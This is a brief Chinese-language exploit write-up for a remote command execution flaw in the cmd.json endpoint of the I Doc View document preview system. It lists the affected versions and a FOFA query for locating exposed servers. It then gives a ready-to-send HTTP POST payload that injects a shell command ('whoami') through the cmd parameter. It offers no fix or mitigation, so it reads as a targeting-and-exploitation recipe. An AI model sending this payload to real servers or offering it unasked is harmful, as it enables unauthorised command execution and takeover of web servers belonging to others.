I4-1IDocView-在线文档解析应用-RCE

漏洞描述：

I Doc View在线文档预览系统 cmd.json 接口处存在命令执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

影响版本：

```
I Doc View < 13.10.1_20231115
```

网站图片：

网络测绘：

fofa语法：

FOFA：title=="在线文档预览 - I Doc View"

漏洞复现：

payload：

```
POST /system/cmd.json HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded

cmd=echo+%26+%28whoami%29+%26
```

效果图: